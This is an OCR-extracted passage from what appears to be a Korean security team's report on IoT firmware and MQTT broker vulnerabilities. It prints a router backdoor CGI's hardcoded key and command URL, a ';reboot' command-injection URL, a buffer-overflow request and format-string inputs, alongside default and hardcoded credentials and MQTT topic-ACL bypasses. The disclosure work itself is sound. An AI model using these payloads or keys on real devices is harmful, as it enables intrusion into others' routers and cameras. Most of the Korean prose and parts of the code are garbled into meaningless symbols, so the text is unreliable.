263 break;

.
.
. 264
.

+Hl;
dbgprint(“MCR®, “connecticnInfo.c®, “connectionInfo_daeson™, 392, “Select Walt..\n");

If [ (1 €¢ (70 & @1F)) & *(int *){(char *)Av1E3 + vEG - 1664) )

“connectionInfo.c”,
"connectionInfo_daemon™,

486,
“ no change file discripter : t_result(%) "*"\n",

)

int("MCR™, “connectionInfo.c™, “connectionInfo_daemon™, 488, = *** t_result(%d) ***\n", v5);

(7] send_pve_afunic

Vi@
perror{ “accept failed");

(7 socket

(7] set_ctv_vohume_rrute
(7] viprintf

7] access »
<

sub_279E4(dword_164248, B, 3, 2, 0);
> | ® z-;; perror{“recy failed™);
296

Hw
Line 283 of 5014 imnm connectionInfo_daemon:2€8 (4€ASE)

[&] Owtput window o8 x

reCuT US T EUESSE LypE DTC T T L0
731238: using guessed type int dword_731238;
731248: using guessed type int dword_731248;

731244: using guessed type char byte_731244;

SSEMB4: using guessed type int (_ fastcall "off_SOERSA)(_DWORD, _DWORD, _DWORD);
Caching *Functions window'... ok

Caching “Functions window'... ok

[ Pyon |

a0:  idle  Down Disk: 222068

a3 45, Ho|L{ 2| =l

A
o

o 9000 H ZEOf Chst LT FAFHS HMSIA2L HE Device Ol siEdt= WEO| ofLE2=z &

THCHSHRCT

- =

2=

&« > C f & cvemitreorg/egi-bin/ovename.cgifname=CVE-2018-17440 B v H QO = |° [+]

Printer-Friendly View

CVE-ID

CVE-2018-17440 Learn more at National Vulnerability Database (NVD)
* CVSS Severity Rating # Fix Information « Vulnerable Software Versions » SCAP Mappings * CPE Information

An issue was discovered on D-Link Central WiFi Manager before v 1.03r0100-Betal. They expose an FTP server that serves by default on port
9000 and has hardcoded credentials (admin, admin). Taking advantage of this, a remete unauthenticated attacker could execute arbitrary PHP
code by uploading any file in the web root directory and then accessing it via a request.

References

Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

CONFIRM:https://securityadvisories.dlink.com/announcement/publication.aspx?name=5SAP10092

EXPLOIT-DB:45533

URL :https://www.exploit-db.com/exploits/45533/

FULLDISC:20181004 [CORE-2010-0010] - D-Link Central WiFiManager Software Centroller Multiple
URL:http://seclists.org/fulldisclosure/2018/0ct/11
MISC:https://www.secureauth.com/labs/advisories/d-link-central-wifimanager-software-controller-multiple-vulnerabilities

Assigning CNA
MITRE Corporation

13 46, LBT FAH A

> EQST

Exparts, Qualilied Security

Team




5.7. [FW-005] ¥ 2fet A8 AL O{&

- [I9F8 2 AFE O 2o

- Device 22| S X|O{0f F ot A

- [Fe =7] EX A HSEE T

- [Fle AEUo & LT A

Soff 22|, 22| 22| HOo|X| S
O|o| I:||-I:A| J-Ll_g_ol-

Mo Sof 23 #HaEo &

HMESHR| e

e 82 = U= B
X X 22| 2 S5 Device =2 CloudE
FMOIX|2t EXe B¢ &
F ot 7171 278 H22 Sl Ar&Xte
g S e 34, A e 34
oty }_I_jj_ X7l H&kl= CIE2E A
CIZ2E AEol mix

5.7.1. ¥ 2F Case 1 (IP 7}H|2h

IPcam 75 Al & PIHEH|O| 270 EXfot oiE AHEH 0|20 CIZE AES Sot0 =1210] 7SR

b [ 195 ] I9Z: 100. 13. 191

Home | View Video | Logout

m Administrator Login

System Administrator ID:
Network

Wireless

DDNS Verify Password
IP Filter

10 Port

Video & Audio Firmware Upgrade

Video & Audio

Administrator Password:

10 memedes Cilen:

Iadmmustrator

I......

I......

Save | Cancel ]

{

12! 47. 2kt IP Cam Default A% 2191 715 ol
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5.8. [FW-006] 22 ME =3 of&

TE Ljg

- Device 25li/70 &

M=
- MCU 3F0|| [HE ClHA 2

xaq I= MHO| =2 MEO| =t 01_1?1_2}(3]

#|of

A

.|

- DeviceOl| 2slf L st= 582 S 52 HE7H L0 = &EE=
- [F12F] PCB L 2 H/W2| DataSheetE o2 oINS [ E6f =9 M
7t =8E= 8%

ek 7= - [F12f] Device Wi & ©20| 7t5% B2 ClHO|A | MPE[= 210 T8 EILEH £
gle 3%
- [%]2}] BootlogOfl 2 HEI} £ = FLR
*lOI:X'I
T g N . .
—— - 8L TR YEE UM CHE 340 28 = US
ST =H
Ll CH &3 1 7o M2 F|H

H 14. MH|A 4 0|5

5.8.1. ¥|2F Case 1 (AOIE A2|K|)

AOE AQX| @ 95 O|F Debug ZEE St 215 =0l

wifi Y& 3 ¥ Z2 EEHE Ot 5 310f| AFR E|= AES CHA Key ME7F ZoHEl 21 532 2+0I8}QUCt

‘b
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5.9.[FW-007] 52 & W& X% of&
T= e
A=A - 22| JHHO|IAE &% M2, o HS
- (58 EE0 tiet B ME off =]
Fag 29 - DeviceQ| MEHA| Lf 38 4EMY, A=27|, 215 & S0 i) BE2 2 XSt US
4% SAX7L 0| &olsty 48 7Hsdol AU FAH
- [F2f) 2 IS 235t MYSHK| = 8%
mch 7| - [F2H] Filesystem S-2 ERI0] L{Of| Hard Coding &l 223 A'Y HE (FTP SSH 82| AH
HE)7tENE 82
- [#2f] SDCARDS 2| 2|F 2EE[X|0 2 LSS B NYot= 8%
erd . L = MHE AXIS0] 2k 2H0| RS 2~ Qe
TR oYl EXfe 42 L2510 MY = U-F H
HOMCH A N Al 52 AE BEHZE, 2Y)E MA
=28 d2 Al HMA
15 F9 ot WE XM
5.9.1. |2 Case 1 (ADIE AQ|K])
AOLE AKX ¥ ¢1E O|F Debug EZEE &3l (ESP82XX) Esptool.py & &850 FlashDump & & s}0],
Dump LH2| User Data 2 LL“:fEI = G0 String 3 FTP ZE, AEYEE =0l 7535} Ct
_ 4. Flash Maps

Jascif “SITE %aXaT.0
Jascid MW 0

This chapter provides the flash maps for OTA firmware and non-OTA firmware in flash
memories with a different capacity. Users can modify the map as needed.

Figure 4-1 shows the flash maps for the two different types of fimware,

Non-FOTA

enchl "villivadels
Jascil “villivien
Jascid 'I'ASS Tain”,

Lascid “hash cn\n'.'

A% 49, E

X olE WS Sof AW AUS ASSHYOL AN HEE SUHEX Yo AR

19101 Ul FTP 1% A% W 2o

22 =71sotAL.

(BH 1 https://github.com/esp8266/esp8266-wiki/wiki/Memory-Map
https://www.espressif.com/sites/default/files/documentation/2a-esp8266-sdk_getting_started_guide_en.pdf)
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a nkoel = =
5.10. [FW-008] " 5! E|AE nfd EXH 07
a2z L
M= - =] AHHO|AE S¢ot T, Ao ME
[49] % B AE DY EXf K2 2ol
o 29 - Device Wi ME &= MH|A Z2 Filesystem L Y 2 HAE AN 25X @i
7} =Ege XokE
+ + Device Lif Of2{0] 3{{F5t= mto| EXHsH= Z< FF
_ E|ﬁE IL|-°|
HCHOIE _
- eg) Tt
- & E&l= MH|22| Default I
SEl oo
o WY Y L SRYEE £l 2Kk BHO| BEE £ U
oo T
B e £7) 0|3 2EemYel A2 M Ba
# 16. ¢ ! HAEDY
5.10.1. &1 AFR
5.10.1.1. "¢ 3! H|AE TjY |
Moz WY ool Zote = = EAIES2 oot 2Lk
F8 X
*bak.* *bak *backup *.0rg *Zip
*old *tar.gz *Zip *log *.copy
*txt *new *tmp *temp *db.old
*.0rig ~% *gzip * *gz
H217. Y Y HAE ot 3
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5.10.2. ¥

to] 2 mY 2 RFE= ot

sleLt MA7F 2asttt)
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AL = =]
5.11. [FW-009] H& 7t H= O{&
T2 g
A=A - AL Jhstt SR B HE
L[S R O3 W2 WS, FRIYE =3 ofF 2ol
Fag 29 - WIFIEM) 41 7240 Cisll SSL O E Al 22z HSEle dE7t 22 71580l
£ oy
-+ AFEAS| 58 HEE TSdts HwS0| U=k =olet
- AW YR, FAX 5B, AYE 52
C 4 [YB] EA T7E SIS MBI U2 BS
- © + [#I9] HTTPS S8} B2o=Z F&EE 32
AL s
T © o+ [FOH HETUOM A8 SRYHTL EEE|0f Zelo| kst ER
A Device Off CHot 242 AZSIUX|T Hz DMARL A5 Sl LHE2
OflEZ ofE Ha +d Al &X 2ddt= ESiHel BIX A== 35X ZoIRICt
U FEEE AL SR YEE A N0 48
ShE . BQHEE $L0] 2K BH0| S
B2 U5 Al =t Ay HE 2R
2 QFCHAH & 7 U ArEAte SREE Y=t
=EHsH MEot= ALEA HE MA
B 18. 2 ™HHE & (Device)
D~ —
5.11.1. ¥% Case 1 (Al 2I]|#H)
HE 2 sSL HE R E =Qst7| I8l Al 2m7e| EfES QISR SSL O] HEE|0f U= AS
=HQIstelrt.
R,
fu%e RE AT-3TiSRAaxE
N P =2 Eojel P FEL =2 TISEY 8|3
o 06 57945 « 53 [ACK] Seq=l Ack=1 Win*87618 Len= TSval-4202939694 TSe(
nof I com 211000 64 443 TLSv1.2 B MHE FH
|U 5 [ALK] Seqr2 Acke2 WAn-87016 Lensd TSval-d4298939N2 15¢
:?::': e TR T K TR api N .com 22: 76 443 TLSv1.2 APL M
pilllcloud.cokr 223 191 443 TLSv1.2 S UAE B LY
asilicloud.co.kr 223193 8100 None AETE2Y sy
Y :::: :: ‘::1 ::::::“ Lot rdiMcloud.cokr 223 194 8281 TiSviz  ClHO|A MO HH S (RESH/M F)
L L ook EEENS 00 N | 84G0E 54
ssL &g 2ol HH S4B 2ol
a3 51 M3 72 23 o gol
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5.12. [FW-010] 8= 0{/C|HZ H|0|X| =&

T= e
HHz=A 24 7Hs%t Firmware IHY =X
- [ME=0{/CIHZ HO|X] o4& F )
3oPg M - WK Ol HO|X| £ HE0IS 0[S0 THY 917], W B A% So| ofelHel gy
A80| FH5 B HorE
-+ [F=2] JHEX}F O HO|X|7F Qe BF
BEHYIE o+ (23] QENoE NS WE0) gl A
-+ [F2f] CIHZ HO|X| £= M= 0|E A48SI0] 4o|HQl Y HH0| 7ttt E2
*lotx'i
e OO|MO| 2] AlSHS E&F M 2 Ol A|AEI XFOF
o OFo| X0l HY A2 ot ME 55 U A[AH” &
ST H
HOrCH X e 4174
3 19. Backdoor
X nfe)
5.12.1. TI°—|': Case 1 ('6'11-7|)
S77| 2e|X} HO|X| & Fd5t= cgi LY S M5 F ot et(system)E AL&St= 22X S = QISHRALt
result = get value(al, "cmd", v21, 256);
if ( result )
{
printf("<b>command = %s</b><br><br>", v21);
snprintf{v22, 512, "%s >> /var/run/cmd_temp", v21);
system(v22);
v6 = fopen("/var/run/cmd _temp", "r"});
if ( ve )
{
while ( fgets(v22, 256, vi) )
printf("<font size=-1>%s</font><br>\n", v22);
fclose(ve);
¥
return unlink("/var/run/cmd_temp"};
1
22 52, #0824 A8 ol
e 2EE 2ESHE FE22 HOLEH, degi 7t HHE|O{OF system &+=E AtE3t= show_debug_screen O]
SELH, NEAVOHE 822 #E8 52 2AYS € & UL
if ( !'strcmp(*argv, "/cgibin/d.cgi") )
i
show_debug screen((int)argv);
return 8;
¥
27 53. 38t B ALZ 2O
show_debug_screen 0| A system & F O|83t0 Y HAZ 57| ot =52 EMHET o mi2t0|H=
HYE 0] =US SF80F ot= AS & == ULE BA, "act’ Lh2t0[E 2| gr0| 1 K| =QISt= = O] EX|THC}
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240] "@dnjsrurelgjrm*&'t LX|S

if ( !result )
{
strcpy(va, "");
if ( lget value(zl, "act",
goto LABEL_58;
if ( strcmp(v7, "1") )
goto LABEL_58;

V7, 32) )

&l 54. act ot2f0|E{| 2ol

=} Zjo| Exfetct. o2 JHel =HUES HQISiE T siE matn|H2|
OF ot= A= & =+ UL
et_value(al, "aaksjdkfj", w9, 256) == @;
1 33;
3
esult = 643
if ( vo[e] == 33 )
~esult = 188;
if ( v9[1] == 64 )
~esult = 118;
if ( vo[2] == 108 )
{ -
~esult = 186;
if ( v9[3] == 110 )
~esult = 1153
if ( vo[4] == 106 )
{ -
~esult = 114;
if ( v9[5] == 115 )
~esult = 117;
if ( v1e == 114 88 V11 == 117 )
{ - + o]
1 (010 == 010 BR V13 == 181 &2 v14 == 188 &R v15 == 113 &R V16 == 186 )
1
~esult = 189;
if (w17 == w12 )
i
result = 423
if ( V13 == 189 )
{
~esult = 383
if (w19 == 42 && v20 == 38 )
13 55. aaksjdkfj mH2t0[E{ 2+l
D& UtERSH 'emd Dt2t0|HE MEE 242 system 2 AAHTHCH
esul t = get_walue(al, "cmd", w21, 256);
if { result )
1
printf("<b>command = ¥s</bx<br:<br:", v21};
snprintf{v22, 512, "¥s > fvar/run/cmd_temp", v21);
system{w22);

13 56. system

45
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St met0|EE HESHH, O Z T0[X] 7|s& 0[83t0 dd 2Z-A0| 7tsdttt.
'y

<~ O CHEBHA] | 192.168.1.111/sess-bin/d.cgi?aaksjdkfj=%21%40dnjsrurelqjrm%2a%26&act=18&cmd =Is

52

=

File Name : |

Command Name : |

‘ I@dnjsrurelgjrm*&

command = Is

wol_apply.cgi
wireless_apply.cgi
upgrade.cgi
timepro.cgi
sys_apply.cgi

a3 57. LI Z H|o]x| 7|5 0| &
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5.13. [FW-011] Command Injection

g g
HH=A - 2M 75 Firmware It =X
- [Command Injection]
HoPY M - #|oBh 4 AR U B4 QIRKO 3 ZE0| DiZBto] BHXT YRfst WS MY It
o %oy
+ F|ofst 814 AL Of 2 ol
- system(), execvp(), ShellExecute() &
B 7|E + [P3] Fo BB AHZSHD AUR| YL BL
+ [Y3) B4 AXE MEELE Y20 T3 BSS S8t AU BL
+ [3194] 319F8t #4-5 0|8510f 2fo|={ol Bo| MY Tp5 Z2
# oy
— ofo| Mol HYH HAS S AlLH Y
oo
— #|opst g4 AL )
4 QIRtE el 92 7t AT 4+

5.13.1. |2 Case 1 (B8 7|)

SH7|0A 2-lStE httpd HIZ BFOIH 2|0 A F ofgh ga=(system)E AtEdt= 225 2 QISHRICE

else

v = fopen("/tmp/cgi_result™, "r"});
if ( w27 )

fclose(v27);
system("rm -f /tmp/cgi_result");
if ({ acosNvramConfig_match(&unk_F@378, "2") )
puts ("\rndEEEEEEEdelete Jtmp/ogl result dEHEEHEEEES ) ;
1

sprintf(v3e, “/www/cgi-bin/%s > /tmp/cgi result™, v48);

system(v36);

o]

(=

13 58. Fofst

ot

14 AFS

Jhot

8510 et B0 O gio] SO0{7t=X| 22Ut HA, MEZ2 URL O 'cgi-bin'O]

o
ENg 22 e /AKIQ| index @t 7 2Lt (ex. /www/cgi-bin/test -> cgi-bin/test)

vl = strstr{a3, "cgi-bin"};
if ( vie )
1
if { acosNvramConfig_match(&unk_ F@37s, "1") )
printf (" \r\n#HEEHHEEEY s (5d ) vrhin™, * commonCgi”, 76);
if { strchr(vie, 63) )
1

3% 59. strstr = 0| 8% & F&(1)
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Exparts, Qualified Sacurily Taam



VE TEAE ALESI0] cgi-bin 0|20 /7t EXiE 42 diT AKIQ| idnex #2 7FHRD, strcpy S
0| 83510] index O {X|St= string 8 SAtSHE A2 &ole = QUL (ex. cgi-bin/test -> test)

else

if ( acoshvramConfig match(&unk FB378, "2") )

printf (" e\ ndEREREEEYs () e, _commonCgi”, 99);
13 = strchr(vle, 47);
vid = v13 + 13

w15 = w13;
vle = strchr{vl3 + 1, 47);
memset(v4@, @, @xd4ou);

= (char)vls;

vl? = 1;
/18 = V16 == B
if { vle )
v18 = v15 == @;
if { w18 )
if ( vie )
v19 = @;
else
19 = v17 & 1;
if ( w19 )

strepy(va4e, wvld);

SAE 252 sprintf & O| 83l system B 0A MEMSH= B0 EZICE system &2 M= 240 CHSH HS
ZX 0| ZXSHA| B4OL, /cgi-bin/ O|20f Sfo|X Ol FHES E5 2 & 71580 UAZS =g = AL
else
{
v = fopen("/tmp/cgi_result™, "r"});
if ( w27 )
fclose(v27);
system("rm - /tmp/cgi result™);
if ({ acosNvramConfig_match(&unk_F@378, "2") )
puts ("\rndEHEEEEEE R delete Stmp/ogl result dEHEEHEHHEEE ) ;
sprintf(v3e, “/www/cgi-bin/%s > /tmp/cgi result™, v48);
}
system(v36);
18l 61. system S4-0f| A A
=Act W8S HE2= HFS €0 URIE 7182 = 84S Al=eth
& — C @ httpy//192.168.1.1/cgi-bin/;reboot

12! 62. Command Injection 34 A=

* EQST

Exparts, Qualified Sacurily Taam



Yol AHEO SRII7 HEY Bl HS oy & oUrk,

=

& > C @ 192.1681.1/login/login.cgi

& Chromeol 71 Hetexi= 4ol Ux aLic

B

AO|EO| HEE £ 8=
http://192.168.1.1/login/login.cgi® &2 <= gl&LICH
Windows H£9/3 Zgf 220dg JEdf 24

ERR_ADDRESS_UNREACHABLE

13 63. 377| reboot 22!
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5.14. [FW-012] Buffer Overflow

e e
M= - B 7t5S Firmware T Z=Xj
- [Buffer Overflow]
HopH MY - ¥R e Ho|Eof Cf2t 2ol X ®el ZE0| Do), CHE HEE| F HX, ZRAA
2N B2, 47 YY M 50| TH53 o
-+ [€=2] HOo|H ZO| B! HEIE F=d| X|'J5t0] AtESt= 8%
-+ [F] 20| 8 " 430| 0|95t ChHE ml2e| FYS HE Z2MA X B&, ¥4
met 7|E =E a So| Thset Ae
(s Bl 27|80 2 gte M4 = ZROY S8 AlAH 2|52 So| FYECt 3
OFSiChT B JHs3iCh)
oy Z2 N2 2H B
SHE A% By Ay
oty L B4 IRbR Ml 9 Zto] Zo| U HWe| AT 4

H 21. Buffer Overflow

5.14.1. ¥ 2F Case 1 (B387])

SR7] 22l HOIX| Lf Y=ot P& 22 ping HIAEE XAMSt= 7|50 EXHSHIAULCE.

Diagnostic Parameters

Diagnostic Tool: ® PFing O Traceroute

IP Address/ Domain Name: | 192.168.1.222

Ping Count: (1-50)
Ping Packet Size: (4-1472 Bytes)
Ping Timeout: (100-2000 Milliseconds)
Traceroute Max TTL: 20 (1-30)

Diagnostic Results

i Pinging 192,168.1.222 with B4 bytes of data:

| Reply from 192.168.1.222: bytes=6d tine=1 TTL=64 seq=
{ Reply from 192,168.1.282: bytes=G4 time=1 TTL=64  seg=Z
i Reply from 192.168.1.222! bytes=Gd time=I TTL=64  seg=3

: Ping statistics for 192,168.1.222

i+ Packets: Sent = 3, Received = 3, Lost = 0 (0% loss)
i Approximate round trip times in milliseconds:

¢ Minimm = 1, Maxinum = 1, hverage = 1

et IP =8 ORs F2S 7| fl6l, HO|HEZ| WM i 7|s HO[X[e] URL & ME|ots E+S
ANt
int webHelpPageRpmInit_4()
d
return httpRpmConfAdd(z, "/ 1/Ping .htm", pingpage parse);
¥

17 65. ping HIAE 7|5
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o st40lM SZBH= pingpage_parse &2 EAMSEL| GET 28 DIRIO[EIE 7tMet X2lste HE£2
ol o, 1

golgt 4= lom, 1 & ping_addr & Z&HE[0f Q= AS & 5= UCt

httpstatusset(request_url, @);
httpHeaderGenerate(request url);
if ( !HttpAccessPermit({request_url) )

return (_ intle)HttpDenyPage(request url, 5636B96);
Env = httpGetEnv(request_url, "ping_addr"});

5 = httpGetEnv(request_url, “"doType™);

4 = httpGetEnv(request_url, "isNew");
VB = vi;

18 66. ping HI2E 7|5

GET 8% Ij2to|H LW ping_addr It2t0[Ef Zt2 Env B0 X EYStH, 0|2 ZX0|AM Env 7} ipAddrDispose
g0l CHRIX|= A S =olg &= ULt

if ( !strcmp(vs, "ping") )

printf("[ ¥s ] %¥@3d: Here is new ping\n\n", “pingAndTracert/httpPingAndTracertIframeRpm.c”, 564);
v21 = ipAddrDispose(Env);
if ( lv2l )

printf("[ ¥s ] %@3d: host is error\n\n", "pingAndTracert/httpPingAndTracertIframeRpm.c”, 57@);

13 67. ipAddrDispose &0 ping_addr &

ping_addr O ZFH=Z CtE|X|= ipAddrDispose &5 EXS =QIS{EHM, ping_addr 2| ZO[0| LS AF
Z22]0| M2 EXSIX| kot YT ping_addr 2t TEE MESHH AL AE & = ULk

v2 = strlen(ping_addr

memset(v24, B, 51);
3= 8;

vd = @;

while ( 1)

)3 [ ping_addrel 20|

(unsigned _ int8

*)(ping_addr + v4); | ping_addr 2% F2 |
{char *)&v19 + v3;

)

-
Shoea

= v+ € w23
{ 1ve ) | ping_addr Z0/%2 v4 Z7 |
break;
VS = *uGj
if ((v5!=32) | ping_addr 230 22 220 MK LS 71N
i
/7[28] = v5;
+Hv3;
h

}

13 68. ipAddrDispose 2% £l

ping_addr Of| o|=M o= F Z0|o| H|O|HE =50 M EUALCE
4 Request to http://192.168.1.222:80

- - || Comment this item v HTTP/1

ett Raw Hex \n =

GET /BLPCUHWEBYGFMKIB/ /Ping o H.htm?ping_addr=
AfaaaAAaAAAAAaAAAAaAAAAAaAAAAAAAAAAAAAAAAAAAAaAAAaaaAAAa88
AfaaaAAaAAAAAaAAAAaAAAAAaAAAAAAAAAAAAAAAAAAAAaAAAaaaAAAa88
afAaaaAAaAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE
aaaaaaaaaaaaaaaaaaaaaaaaaaddoType=pingéi sNew=new&sendhum=4
&pSize=64&overTime=8008&1trHops=20 HTTP/1.1

Host: 192 1688.1.222

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64)

a3 69. 2 Z0|2| ping_addr ME
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Buffer Overflow 7} &’ dst| CHE H22| Yol ¢S A% /7
FHHoz ZAMot 2 oY EQEE A8% F HIL MHEM ROP 52 S0 RCE X2 &4
7h-sStet

<« C A =2 93| 192.168.1.222

Error

Failed to connect to 192.168.1.222:80
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5.15. [FW-013] Format String Bug

T= e
A EX 24 7H5 3 Firmware Tt ZX}
- [Format String Bug]
Ftd 23 Flofoh a0l =5 AEZ S TS| ALSHA| Qo M 2e| gf =F, 22| g HZE §0| 7t
S FAH
+ F|oFot gt ALE O =l
- printf(), sprintf(), fprintf() &
met 7| + [F=2] F| oot et=E ALESIHA| fie= B
+ [F2] F{ ot 20| =0 AEZ S TS| XG5t AHESH= 47
<+ [F2] %x, %p 2| ZUU AEZ S AYHSIY HZ2|o| MEE S =l Vst R
-« + [F2f] %n, %hn &2 Lo AEZS A0 H22|of MEYE 42 BHx 7tstt 8%
F ot - HE2|of MEE ¢ RE
gk - H22lof HEE 4 HE
HOtCH A - HOH AEES AMESHE 40| =0 AEZ S TS| ALE

5.15.1. 23 Case 1 (IP 7}0H2hH
EO AEZ HIOJ} UM & Qe B4S0f T2 20| =0 AE S HESIA XK BH0] ALRSISICH
4 = "Other";

5 [ printf{"[APP INFO] [ %s, Line: %d ]

Method:¥s\n\n", "src ", 1318,

.;);]

T { 150D _27R2A(VL) )

a8l 71. =0 AERIS ™MESHA| AT

o
= OI—7O:|-|_

53

EQAST

Exparts, Qualified Sacurily Taam



5.15.2. ¥ 2F Case 1 (IP 7}H|2hH

U B2 UZ sprintf)0E 0|85t unk 20980 Of X ZBCE O|F printf 2 QX2 =B AEZ g0
unk_20980 & 2 YHBI0 ALBSt= AS 2 QISHALE
; CODE XREF: sub 1846C+54715
LDR R2, [R11,#var_1@]
LDR R1, =awWarnAuthCheckF ; 5 Aut = fail 58 3
LDR R@, =unk 28938 ; s
BL sprintf
; CODE XREF: sub l@4sC+2815
LDR R@, =unk 28938 ; format
BL printf
A% 72. Z% AERIS ALESHK| 2 42

OFO|C|Off 'EQST %p %p'E 2

2t oIS,
[Info] GET /:
[Info] GET /:
connect fail
load_info_frc¢
load_info_fre¢
srv_addr : [
[Info] GET /[«
[Warn] Auth check fail, user ID :

[user.c][752]

g 73. M2 2|0 XEHE

54
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6. MQTT HA &N
— - —_ — =
6.1.[MQ-001] E282%t EXZ| M2 75 o8
T+ Lig
S (Ena MQTT 412 AHESHH= ClHO|A
- [EER% EEH HZ 7ts O F]
FUE A4Y - BT MOXBH0| MEK|0 UX| for M2 Aot Q= AR EE M2 2 0|80 JtsTt
F A
-+ [ EY HENTHo| HEE 42
TR 7| + [F2F] Ef AFEXIS] EE H2 A 0|80| 7t5%H 4%
+ [F2 AE el AFEXLe ET M2 I 0|80| 7tstt 42
F oA Ef AR XRIC] 7|7[0f oM el gf HE
gy SRFEEE S0 2K 340 ZH&
2K oo Alexlo| Em
oty o_.OI | %2 AFEXIL] EH publish/subscribe B X|
ACLS % E|- |._9_x|. 55 K—I:L HI-)(|

6.1.1. ¥|2F Case 1 (HiveMQ)
ET YIFBH0| MBEO] UX| %2 EL

o
HiveMQ £ OiZ2|AH 0|30 A 2T 20| E0| L

= A =L
A8 8 = AL

o WD Ol MO 2 Z|0 UX| Y= EF OS2 20| Ef AREXte| ETof Mg 4= UL
Zet0|AES| AHEXH FE [User ID : userl , Password : pass1]
Profile Name | hivemqg
Profile Type . MQTT Broker - “\\ =
MQTT Broker Profile Settings
Broker Address
Broker Port | 18583
Client I | 39b2aciea7al4d5ev25e03abd3396fe7 Generate
General BUETHEGEEIN SSL/TLS  Proxy  LWT
User Name | userl
Password | seses
a8 74. MQTT &
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E20|AHAEN N userl 2| topic 22 HA|X|E publish SHRILE. [topic : userl/test , message : test]

‘ Disconnect
m Subscribe  Scripts Broker Status  Log

userl/test - ublis

fest

A& 75. user1 2| topic Subscribe

CtE Z2t0[AENA CHE ALl user2 2 userl O] publish 3t topic 2| 1S5S A|ZSIQCt HEo| Hgh MHO|
210f Et AFEXtO| HAIX|E FE& 4= QUCE [User ID: user2 , subscribe topic: userl/test (user1 2| topic)]

test@ubuntu:~$ mgtt sub -t useril/test -h test.hivemg.com -u user2 -pw pass2
test

10|

= L

a3 76. Ef ALEXt HIAX]

n
fot

data/${{clientid}}/#

outgoing/${{clientid}}
PUBLISH
RETAINED

incoming/${{username}}/actions
SUBSCRIBE —
#

superuser

-

13 77.BRACLC|ZE MHZ
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6.1.2. |2 Case 2 (RabbitMQ)
user01 AHZC2 HEGH user02 O X[HE topic publish 7ts0EE 2Qlst7| I8l /client/device/user02

topic 22 "ON" H[A|X|Z publish $FC}. [User ID: user01, publish topic: /client/device/user02]

Profile Mame | local MOQTT

Profile Type MQTT Broker v  MOTE
MQTT Broker Profile Settings

Broker Address | B 2FsMH TP
Broker Port | 1883

Client ID | ¢2504a853d0745382f6fed330590b53 Gener...

General QUSROG EGIEINN SSL/TLS  Proxy LWT

User Mame | user0l

Password  eessews

18l 78. MQTT ™=

user01 A2 E user02 topic 20| 7+s5t0] subscriber 2 E{ “Turn On” S =olg 4= UCH
Enter PEM pass phrase:

Subscribed: /cl
i Jclient/dey
m Subscribe ferents

»  Jfelient/d

OM

13 79. Topic Publish (user01 -> user02)

user01 A’'§2 2 topic wildcard & 0| 83t0] CtE AMEXIE2| publish HA|X|E subscribe $HCH user01 A™E2 2
wildcard & O|&3%t subscribe 7t 7t535H0| CHE ALEXHE 2| publish HIA|X|E =olg o= ULt

[User ID: user01 , subscribe topic: /client/device/+]

! EQST
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Publish m Scripts  Broker Status Log

[client/ device /+ @D || /client/device/userd2

felient/devices+

Dump Messages Mute w
fclient /device/userd2

felient/devices+
fclient/device/user03
felient/devices+
fclient/device/user03
felient/devices+
fclient/device/user04
felient/device/+

fclient/device/user04

felient/devices+

Topies Collector (0) Scan oS
[client/device/user04

felient/device/+

10-08-2021 17:27:02.62822012

OFF

13 80. CHE A2 XL publish HIA|X| 2ol

U ZMTHEL. user01

topic = HMeho] 2850 /UX| e BR Ef MERS] E4S 0|80t HIO|H ?|#Hx= 2Ol
AEXEZE MQTT 418 0|83t 77|18 & publish HAIXIE &S M burpsuite £ 0| &3H0] ZQls&Lt.

(topic: /client/device/user01 , message: {"type":"device”,"status":"01"})

MQTT.fx-1.7.1

File  Extras Help

‘ Disconnect
m Subscribe  Scripts Broker Status Log

» felient/device/user01 - m

["type""device", "status":"01"]

% 81. user01 2| publish HIA|X|

Pretty n Actions W

1 POST /CLIENT_REQUEST/to/ £1333 HTTP/1 1
2 Host: 127.0.0.7:49999

3 Accept-Encoding: gzip, deflate

4 ¥-Mitm_Relay-To: 11383

5 ¥-Witm_Relay-From: 192 163.0.3:3673

G Content-Length: &9

7 User—-Agent: python-urllib3/1.26.6

2 Connection: close

]

10 28/client/devicef/user01{ " type" :"device',K 'status':'01'}

17 82. user01 2| publish HIA|X| (burpsuite)
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[client/device/+

&P | /client/device/user0l

/client/device/+
Dumgp Messages DLl Unsubscribe )

Topics Collector {0)

Scan i

[client/device/user01

felient/devices/+

12-08-2021 15:07:30.54450001

i type~:"device", "status”™:"01"}

% 83. subscribe H[A|X| =0l

2oISt request & user02 2| 7|7]7} OFF &l publish HIA|X|2 #HZBICH

(topic: /client/device/user02, message: {"type":"device”,"status":"00"})

I POST /CLIENT_REQUEST/to/
2 Host: 127.0.0.1:49999
Accept-Encoding: gzip, deflate
4 X-Mitm_Relay-To:
XK-Mitm_Relay-From
Content-Length: 59
User-Agent: python-urllib3/1 . 26.6
Connection:

192.168.0.3:3673

29/cl lent/device/user02{" type' :"device', "status':"00'}

f1833 HTTP/1 .1

1353

1% 84. user01 2| publish HIA|X] H=

HAE ETut HA|X| 2 subscribe &&= A2 2olg 5= UL

Topics Collector (0

fclient/devicaSuser(2

Sollentdeice+

fchient/device/user(2

Sdient/device'+

12-08-202]1 150934 54574090

{"type”:"device”, "status”:"60"}

12! 85. Subscribe H|A|X] 20l
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6.1.3. &3 Case 3 (RabbitMQ)

Client O Al "ON"O|2l= publish topic ©& Al “Turn ONI"QZ2

SESt= Subscriber 7t

ol =
AN

MQTT Broker

MHOICt, user01 AH2Z M£310] /client/device/user01 topic 22 "ON" H|A|X|E publish 8lj £ XL},
[User ID: user01, publish topic: /client/device/user01]

General

Profile Mame

Profile Type

Broker Address
Broker Port

Client ID

User Credentials

User Mame

Password

local MOQTT

MOTT Broker v

MQTT Broker Profile Settings

H 27 A4 TP
1883

c9504a853d074538Pf 5fe43305%0b 53

SSL/TLS Proxy LWT

user0l

MATE

Gener...

13 86. MQTT =

[
m Subscribe

b /

Enter PEM pass phra
Subscribed:
/client/device/userel
Turn ON!

OMN

Jclient/device/+

&l 87. Topic Publish

60
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user01 AE2E HES user02 Of X|HE topic publish 7tS0EE &

topic 22 "ON" HA|X|E publish 3 2 ACt.

2HOI5H7| 2|8l /client/device/user02

Profile Mame | local MQTT

MQTT Broker Profile Settings

Broker Address | H 2Fu M H| TP

Broker Port | 1883

